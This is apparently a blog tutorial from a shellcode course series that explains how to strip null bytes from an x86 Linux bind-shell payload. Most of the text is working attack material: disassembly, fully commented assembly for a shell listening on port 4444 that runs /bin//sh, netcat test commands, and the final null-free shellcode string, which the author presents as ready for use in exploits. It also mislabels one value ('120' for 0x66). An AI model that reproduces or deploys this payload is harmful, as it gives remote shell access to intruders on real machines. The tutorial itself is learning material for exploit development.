part 3: cleaning and optimising shellcode
In Part 2: Building the shellcode, we created a bind shell on port 4444 which accepts connections from any host and then interacts with /bin/sh
to facilitate remote code execution. Our shellcode however was littered with null bytes and would probably not be very useful if embedding in any exploit code.
In this final part, we will clean our code and remove any null bytes from our shellcode. We will also look at removing unnecessary instruction to make our shellcode smaller if possible. Lets get started.
Step one, lets take a look at our shellcode using objdump:
objdump -D bindshell -M intel
bindshell: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor eax,eax
8048082: 31 db xor ebx,ebx
8048084: b8 66 00 00 00 mov eax,0x66
8048089: bb 01 00 00 00 mov ebx,0x1
804808e: 31 c9 xor ecx,ecx
8048090: 51 push ecx
8048091: 6a 01 push 0x1
8048093: 6a 02 push 0x2
8048095: 89 e1 mov ecx,esp
8048097: cd 80 int 0x80
8048099: 89 c2 mov edx,eax
804809b: 31 c0 xor eax,eax
804809d: 50 push eax
804809e: 66 68 11 5c pushw 0x5c11
80480a2: 66 6a 02 pushw 0x2
80480a5: 89 e1 mov ecx,esp
80480a7: 6a 10 push 0x10
80480a9: 51 push ecx
80480aa: 52 push edx
80480ab: 31 c0 xor eax,eax
80480ad: 31 db xor ebx,ebx
80480af: b8 66 00 00 00 mov eax,0x66
80480b4: bb 02 00 00 00 mov ebx,0x2
80480b9: 89 e1 mov ecx,esp
80480bb: cd 80 int 0x80
80480bd: 31 c0 xor eax,eax
80480bf: 50 push eax
80480c0: 52 push edx
80480c1: 89 e1 mov ecx,esp
80480c3: b8 66 00 00 00 mov eax,0x66
80480c8: 31 db xor ebx,ebx
80480ca: bb 04 00 00 00 mov ebx,0x4
80480cf: cd 80 int 0x80
80480d1: 31 c0 xor eax,eax
80480d3: 50 push eax
80480d4: 50 push eax
80480d5: 52 push edx
80480d6: 89 e1 mov ecx,esp
80480d8: b8 66 00 00 00 mov eax,0x66
80480dd: 31 db xor ebx,ebx
80480df: bb 05 00 00 00 mov ebx,0x5
80480e4: cd 80 int 0x80
80480e6: 89 c2 mov edx,eax
80480e8: 31 c0 xor eax,eax
80480ea: b8 3f 00 00 00 mov eax,0x3f
80480ef: 89 d3 mov ebx,edx
80480f1: 31 c9 xor ecx,ecx
80480f3: cd 80 int 0x80
80480f5: 31 c0 xor eax,eax
80480f7: b8 3f 00 00 00 mov eax,0x3f
80480fc: 41 inc ecx
80480fd: cd 80 int 0x80
80480ff: 31 c0 xor eax,eax
8048101: b8 3f 00 00 00 mov eax,0x3f
8048106: 41 inc ecx
8048107: cd 80 int 0x80
8048109: 31 c9 xor ecx,ecx
804810b: 51 push ecx
804810c: 68 2f 2f 73 68 push 0x68732f2f
8048111: 68 2f 62 69 6e push 0x6e69622f
8048116: 89 e3 mov ebx,esp
8048118: 89 ca mov edx,ecx
804811a: 31 c0 xor eax,eax
804811c: b8 0b 00 00 00 mov eax,0xb
8048121: cd 80 int 0x80
From this we can see the problematic instructions:
```objdump
8048084: b8 66 00 00 00 mov eax,0x66
8048089: bb 01 00 00 00 mov ebx,0x1
80480af: b8 66 00 00 00 mov eax,0x66
80480b4: bb 02 00 00 00 mov ebx,0x2
80480c3: b8 66 00 00 00 mov eax,0x66
80480ca: bb 04 00 00 00 mov ebx,0x4
80480d8: b8 66 00 00 00 mov eax,0x66
80480df: bb 05 00 00 00 mov ebx,0x5
80480ea: b8 3f 00 00 00 mov eax,0x3f
80480f7: b8 3f 00 00 00 mov eax,0x3f
8048101: b8 3f 00 00 00 mov eax,0x3f
804811c: b8 0b 00 00 00 mov eax,0xb
Lets break this down and tackle these one at a time. Firstly, we’ll deal with our eax
syscall
values:
b8 66 00 00 00 mov eax,0x66
We can see that upon assembling, the compiler converted 102 to it’s hex value of 0x66. Seeing as this is a single byte, maybe we can write it to just al
(the smallest byte of eax) instead of the whole eax register.
Metasploit has a great tool for this that can help you quickly find the values of assembly instructions called metasm.
Note: If you do not have Metasploit installed, please follow the installation instructions provided by Rapid7 or one of many great tutorials about installing Metasploit like this one from Carlos Perez (@darkoperator).
/opt/metasploit-framework/tools/metasm_shell.rb
Test the following instructions and see which ones return results with no null bytes:
mov eax, 0x66
mov ax, 0x66
mov al, 0x66
If we look at these results, the only one that is going to work for us is mov al, 0x66
.
Repeat this procedure for all the mov eax, $$$
instructions:
mov eax, 120 => mov al, 0x66
mov eax, 63 => mov al, 0x3f
mov eax, 11 => mov al, 0xb
Update these lines with the updated instructions into your code.
We can use the same procedure for the ebx
registers by changing them to the bl
register.
mov ebx, 1 => mov bl, 0x1
mov ebx, 2 => mov bl, 0x2
mov ebx, 4 => mov bl, 0x4
mov ebx, 5 => mov bl, 0x5
Take a look at your new assembly code:
global _start
section .text
_start:
; Start of our shellcode
; sys_socket (creating a socket for our connection)
xor eax, eax ; clear the value of eax
xor ebx, ebx ; clear the value of ebx
mov al, 0x66 ; set eax to 102 (sys_socketcall)
mov bl, 0x1 ; set ebx to 1 (sys_socket)
xor ecx, ecx ; clear the value of ecx
push ecx ; push a null onto the stack (IPPROTO_IP = 0)
push 1 ; push a 1 to the stack (SOCK_STREAM = 1)
push 2 ; push a 2 to the stack (AF_INET = 2)
mov ecx, esp ; push the location of our arguments into ecx
int 0x80 ; call sys_socket
mov edx, eax ; save the returned value to edx (socket file descriptor)
; sys_bind (bind a port number to our socket)
xor eax, eax ; clear the value of eax
push eax ; push eax to the stack as it's null (INADDR_ANY = 0)
push WORD 0x5C11 ; push our port number to the stack (Port = 4444)
push WORD 2 ; push protocol argument to the stack (AF_INET = 2)
mov ecx, esp ; mov value of esp into ecx, the location of our sockaddr arguments
push 16 ; push addrlen to stack (addrlen = 16)
push ecx ; push ecx to stack (ecx = location of our sockaddr arguments)
push edx ; push edx (sockfd value stored in edx)
xor eax, eax ; clear value of eax
xor ebx, ebx ; clear value of ebx
mov al, 0x66 ; move value of 102 into eax (sys_sockcall = 102)
mov bl, 0x2 ; move value of 2 into eax (sys_bind = 2)
mov ecx, esp ; move the arguments into ecx
int 0x80 ; call sys_bind
; sys_listen (listen on our created socket)
xor eax, eax ; clear value of eax
push eax ; push backlog argument to stack (backlog = 0)
push edx ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp ; store the location of our arguments into ecx
mov al, 0x66 ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx ; clear value of ebx to 0
mov bl, 0x4 ; sets the value 4 which is the value for "listen" in sys_socketcall
int 0x80 ; call sys_listen
; sys_accept (accept connections on our created port)
xor eax, eax ; clear value of eax
push eax ; push addrlen argument to stack (addrlen = 0)
push eax ; push addr argument to stack (addr = 0)
push edx ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp ; move the location of our arguments into ecx
mov al, 0x66 ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx ; clear value of ebx
mov bl, 0x5 ; sets the value 5 which is the value for sys_accept
int 0x80 ; call sys_accept
mov edx, eax ; save the return value from sys_accept to edx (client file descriptor)
; sys_dup2 (create file descriptors for stdin, stdout and stderr so we can see the responses from execve)
xor eax, eax ; clear value of eax
mov al, 0x3f ; sets the value 63 which is the syscall number for sys_dup2
mov ebx, edx ; move the stored oldfd argument to ebx (stored in edx)
xor ecx, ecx ; set ecx to 0 for stdin
int 0x80 ; call sys_dup2
xor eax, eax ; clear value of eax
mov al, 0x3f ; sets the value 63 which is the syscall number for sys_dup2
inc ecx ; increment ecx to 1 for stdout
int 0x80 ; call sys_dup2
xor eax, eax ; clear value of eax
mov al, 0x3f ; sets the value 63 which is the syscall number for sys_dup2
inc ecx ; increment ecx to 2 for stderr
int 0x80 ; call sys_dup2
; sys_execve (execute /bin//sh upon connecting and pass the responses back to connector)
xor ecx, ecx ; clear value of ecx, args argument = 0
push ecx ; push a null to the stack to terminate our filename
push 0x68732f2f ; push //sh to the stack (second part of /bin//sh)
push 0x6e69622f ; push /bin to the stack (first part of /bin//sh
mov ebx, esp ; set ebx with the location of our file name on the stack
mov edx, ecx ; move null value for envp argument into edx
xor eax, eax ; clear value of eax
mov al, 0xb ; sets the value 11 which is the syscall number for sys_execve
int 0x80 ; call sys_execve
Lets look at the shellcode in objdump if we have any null bytes:
objdump -D bindshell -M intel | grep 00
Great, lets check for other known bad characters such as \x0a
and \x0d
objdump -D bindshell -M intel | grep 0a
objdump -D bindshell -M intel | grep 0d
Awesome, none of those are in our shell so lets test and see if it still works.
./bindshell
netstat -antp
nc -nv 127.0.0.1 4444
id
Our clean shell is still working.
Last step is to dump this for use in our exploits:
./getshell.sh bindshell
\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89
\xc2\x31\xc0\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\x31
\xdb\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3
\x04\xcd\x80\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3\x05\xcd\x80\x89\xc2
\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0
\x3f\x41\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89
\xca\x31\xc0\xb0\x0b\xcd\x80
This concludes this training on shellcode writing in assembly. If you just follow the steps and do research, anything is possible. My goal when starting this post was to make shellcode less intimidating and if you feel that you have walked away after reading this with a better understanding of how shellcode interacts with the system then I am satisfied.
I hope to create more posts as I head further down this SLAE and I recommend that anyone who is in the information security field take the course and let Vivek turn you into a shellcode ninja.
Keep on sploiting,
norsec0de